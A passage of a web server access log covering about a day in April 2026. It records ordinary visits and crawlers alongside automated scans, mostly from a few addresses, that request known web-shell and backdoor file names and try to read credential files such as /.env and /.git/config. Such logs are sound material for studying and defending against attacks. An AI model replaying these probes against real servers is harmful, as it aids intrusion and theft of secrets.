[22/Apr/2026:23:52:45 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 154.64.224.212 - - [23/Apr/2026:01:42:58 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52.236.68.31 - - [22/Apr/2026:23:52:36 +0300] "GET /ax.php HTTP/1.1" 301 795 "-" "-" 43.130.72.177 - - [23/Apr/2026:00:45:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.95.198.163 - - [23/Apr/2026:04:14:23 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.102.113.143 - - [23/Apr/2026:04:15:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36/Nutch-1.21-SNAPSHOT" 175.6.217.4 - - [23/Apr/2026:00:04:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.149.188 - - [23/Apr/2026:01:44:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 117.62.235.53 - - [23/Apr/2026:06:10:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.104.6 - - [23/Apr/2026:05:13:17 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 168.144.94.218 - - [23/Apr/2026:05:39:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 43.130.67.6 - - [23/Apr/2026:07:55:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.76 - - [23/Apr/2026:08:06:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 188.143.244.141 - - [23/Apr/2026:09:30:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 34.46.175.228 - - [23/Apr/2026:09:51:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.143.6 - - [23/Apr/2026:12:07:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.131.26.226 - - [23/Apr/2026:07:04:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.196.196.141 - - [23/Apr/2026:06:45:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.6.18" 66.249.66.76 - - [23/Apr/2026:08:06:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 54.213.103.141 - - [23/Apr/2026:12:41:27 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1" 36.129.140.147 - - [23/Apr/2026:12:56:01 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 148.113.215.71 - - [23/Apr/2026:12:58:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Faraday v2.14.0" 43.131.39.179 - - [23/Apr/2026:12:42:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.132.186.159 - - [23/Apr/2026:13:11:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 77.90.185.5 - - [23/Apr/2026:14:11:43 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 94.26.106.203 - - [23/Apr/2026:14:55:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 74.248.129.192 - - [23/Apr/2026:14:40:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 23.137.105.214 - - [23/Apr/2026:15:01:11 +0300] "GET /wp-content/plugins/woocommerce-payments/readme.txt HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 183.142.2.41 - - [23/Apr/2026:16:26:21 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.131.235 - - [23/Apr/2026:17:36:14 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:17 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:21 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:25 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:30 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:34 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:56 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:41:13 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:35 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:35 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "-" 165.227.196.28 - - [23/Apr/2026:18:29:31 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016" 20.151.131.235 - - [23/Apr/2026:17:37:47 +0300] "GET /god4m.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:01 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:43 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:50 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:44:24 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:36 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:58 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:41:25 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:06 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:10 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:35:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:03 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:08 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:43 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 43.130.72.40 - - [23/Apr/2026:18:17:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.131.235 - - [23/Apr/2026:17:36:49 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:52 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:56 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:29 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:32 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:35 +0300] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:38 +0300] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:42 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:51 +0300] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:59 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:38 +0300] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:57 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:01 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:16 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 185.100.197.144 - - [23/Apr/2026:17:53:22 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.131.235 - - [23/Apr/2026:17:36:39 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:18 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:20 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:24 +0300] "GET /wp-admin/css/colors HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:25 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:25 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:31 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:45 +0300] "GET /wp-includes/js/crop/cropper.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:16 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:19 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:22 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:26 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:29 +0300] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:39:50 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:23 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:19 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:23 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:23 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:26 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:27 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:27 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:57 +0300] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:44:01 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 5.133.192.199 - - [23/Apr/2026:17:57:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 20.151.131.235 - - [23/Apr/2026:17:36:44 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:01 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:05 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:09 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:13 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:06 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:10 +0300] "GET /tmp.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:14 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:14 +0300] "GET /wp-admin/a.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:39 +0300] "GET /wp-includes/IXR/test1.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:48 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:26 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:29 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:32 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:43:36 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 195.178.110.18 - - [23/Apr/2026:18:39:25 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17" 43.156.228.27 - - [23/Apr/2026:17:15:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.131.235 - - [23/Apr/2026:17:35:53 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:35:57 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:36:09 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:37:24 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:52 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:52 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:38:52 +0300] "GET /wk/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:04 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:11 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:40:14 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:41:52 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:41:55 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:42 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:42 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:42 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:43 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:46 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:47 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:47 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:42:47 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:44:12 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [23/Apr/2026:17:44:16 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 43.140.247.223 - - [23/Apr/2026:19:17:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.239.214.11 - - [23/Apr/2026:20:45:56 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 172.161.0.169 - - [23/Apr/2026:18:51:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:05 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:25 +0300] "GET /wp-style.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:28 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:32 +0300] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:37 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:30 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:36 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 156.146.39.189 - - [23/Apr/2026:22:38:51 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 158.158.109.204 - - [23/Apr/2026:23:09:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 84.239.25.21 - - [23/Apr/2026:23:12:08 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.74.146.113 - - [23/Apr/2026:22:32:13 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:17 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:23 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:23 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:23 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:59 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:04 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:19 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:31:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:31:34 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:31:57 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:08 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:15 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:27 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:41 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:10 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:12 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:15 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:59 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:07 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:07 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:25 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 42.101.8.101 - - [23/Apr/2026:23:13:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 156.67.171.21 - - [23/Apr/2026:23:14:11 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.166.9.204 - - [23/Apr/2026:22:32:09 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:20 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:22 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:30 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:36 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:31 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:45 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:59 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:59 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:59 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:02 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:31:43 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:31:51 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:38 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:41 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:45 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:45 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:45 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:48 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:11 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:05 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:32 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:35 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 172.236.138.74 - - [23/Apr/2026:22:05:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13.74.146.113 - - [23/Apr/2026:22:31:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /wp-content/upgrade/admin.php 